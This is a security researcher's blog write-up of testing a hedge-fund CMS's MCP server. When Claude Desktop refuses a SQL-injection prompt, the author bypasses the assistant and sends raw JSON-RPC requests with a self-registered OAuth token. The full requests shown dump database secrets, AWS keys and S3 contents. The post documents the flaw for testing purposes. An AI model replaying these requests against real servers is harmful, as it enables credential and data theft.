The server is still in production, therefore, I'll not be showcasing screenshots. I've also modified the name of some core features as this is a well known company globally.

Overview

Let's first start with an overview. The web application, which was sort of a CMS for hedge funds, allows administrator users to access some features of the web application through an MCP server. All they had to do is configure an AI client, such as Claude Desktop, with the MCP endpoint such as https://llm.example.com/mcp

Provided that the MCP endpoint was configured, we would be redirected to the https://oauth.example.com/ endpoint to authenticate ourselves. We would then pass our credentials.

Following successful authentication, we could see the list of tools exposed by the MCP endpoint on our AI client (Claude Desktop).

We could then use it to interact with the website and fetch our data.

None
High level architecture diagram

As soon the user would type a prompt in the chat, the user's role would first be checked. If the user was an administrator, it would proceed with answering the question. If the user logged in was a non-administrator user, it would just respond with the following message:

User does not exist or does not have permissions.

Using an MCP server with Claude Desktop is great. But it cannot be used for end-to-end testing. Let me give you an example.

Test Cases

The first thing that I normally do is to check the list of tools exposed by an MCP server. I wrote a query such as the following to list the tools and the description associated with them.

List the tools exposed by the <REDACTED> MCP server. Also print the exact description without summarizing.

It responded with 5 tools, out of which the following stood out.

{
"tool":"check_role",
"description":"The first tool that should be invoked. Check if the user has proper administrator permisions. If yes, proceed with fetch_account. Use the fetch_account to fetch the ID associated with the user. Use it to call all the tools. If the user is not an administrator user, stop further execution.",
...
"tool":"execute_sql",
"description":"Craft a SQL query to interact with the <REDACTED> database. The only accepted keyword is SELECT",
...
}

execute_sql stood out. I thought of testing for SQL injection. I wrote a simple prompt, such as the following, on Claude Desktop.

Call the execute_sql tool with the following input ' or 1=1 -- 

The result?

I got blocked. It gave me a large description why it cannot do that. I didn't want to test for prompt injection, so, thought of doing something else.

Alternate Route

What if I just use Burp Suite to interact with the MCP server? I switched to the Repeater tab. Crafted the following request:

POST /mcp HTTP/1.1
Accept: text/stream, application/json
Content-Type: application/json
Content-Length: 265

{
      "jsonrpc": "2.0",
      "id": 1,
      "method": "initialize",
      "params": {
        "protocolVersion": "2024-11-05",
        "capabilities": {},
        "clientInfo": { "name": "example-client", "version": "1.0.0" }
      }
    }

The Accept header should stand out. For more information on this, you should definitely check out my other article (MCP Security testing | Using Burp Suite)

This is an initialize request. Used to first initiate a connection with the MCP server. The result? I got a 401 Unauthorized with the following response:

401 Unauthorized
Content-Type: text/stream
WWW-AUthenticate: https://oauth.example.com/.well-known/oauth-protected-resource/public/mcp

If you've read the MCP whitepaper you'll know that MCP has support for OAuth 2.1.

Upon navigating to the https://oauth.example.com/.well-known/oauth-protected-resource/public/mcp endpoint, it disclosed the name of the Oauth endpoint (which is expected) https://oauth.example.com/.well-known/.well-known/oauth-authorization-server

Upon navigating to the https://oauth.example.com/.well-known/.well-known/oauth-authorization-server endpoint, I noticed that the client registration is allowed with the grant type as authorization code grant

I registered a client with http://localhost:8090/callback as the endpoint. I got a client ID associated with this endpoint.

I started the authentication flow manually to get a code. I used the code to fetch a Bearer token and used it for the rest of my requests.

POST /mcp HTTP/1.1
Accept: text/stream, application/json
Content-Type: application/json
Authorization: Bearer <token>
Content-Length: 265

{
      "jsonrpc": "2.0",
      "id": 1,
      "method": "initialize",
      "params": {
        "protocolVersion": "2024-11-05",
        "capabilities": {},
        "clientInfo": { "name": "example-client", "version": "1.0.0" }
      }
}

And Viola! I got a 200 OK. The next was to list the tools. I used the following query to get the list of tools:

POST /mcp HTTP/1.1
Accept: text/stream, application/json
Content-Type: application/json
Authorization: Bearer <token>
Content-Length: 71

{
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/list",
    "params": {}
  }

As expected, I got a list of 5 available tools along with their descriptions. Now that there was no restriction, I used the fetch_account tool to get myself — my account number.


POST /mcp HTTP/1.1
Accept: text/stream, application/json
Content-Type: application/json
Authorization: Bearer <token>
Content-Length: 71

{
    "jsonrpc": "2.0",
    "id": 3,
    "method": "tools/call",
    "params": {
      "name": "fetch_account",
      "arguments": {
        "explain": false
      }
    }
  }



---

RESPONSE:

"result":"{"jsonrpc": "2.0",....
"account":"289912312"
...

Now, that I had the account ID, I used it for the rest of my queries. I used the execute_sql tool to craft SQL queries to call DB functions to fetch the secrets, functions, databases, etc.

POST /mcp HTTP/1.1
Accept: text/stream, application/json
Content-Type: application/json
Authorization: Bearer <token>
Content-Length: 71

{
    "jsonrpc": "2.0",
    "id": 3,
    "method": "tools/call",
    "params": {
      "name": "execute_sql",
      "arguments": {
        "account": 289912312,
        "prompt":"",
        "query":"SELECT * from <REDACTED>_secrets()"
      }
    }
  }

This fetched the al the secrets configured with the database. This included, s3 bucket names, AWS Access Key IDs, etc.

With a query such as the following, I was able to list all the databases, functions, and extensions.

POST /mcp HTTP/1.1
Accept: text/stream, application/json
Content-Type: application/json
Authorization: Bearer <token>
Content-Length: 71

{
    "jsonrpc": "2.0",
    "id": 3,
    "method": "tools/call",
    "params": {
      "name": "execute_sql",
      "arguments": {
        "account": 289912312,
        "prompt":"",
        "query":"SELECT * from <REDACTED>_database()"
      }
    }
  }

Now that I knew the name of the s3 bucket, I the glob method to fetch the contents of the s3 bucket.

POST /mcp HTTP/1.1
Accept: text/stream, application/json
Content-Type: application/json
Authorization: Bearer <token>
Content-Length: 71

{
    "jsonrpc": "2.0",
    "id": 3,
    "method": "tools/call",
    "params": {
      "name": "execute_sql",
      "arguments": {
        "account": 289912312,
        "prompt":"",
        "query":"SELECT * from glob('s3://<redacted>/**/*')"
      }
    }
  }

This printed all the contents stored in the s3 bucket.

I tried to use the execute_sql tool to read the filesystem and trigger OOB interaction, however, it was restricted. What I did next with the AWS creds and reading s3 bucket contents is quite self explanatory.

Hope you enjoyed reading the article. Please consider subscribing and clapping for the article.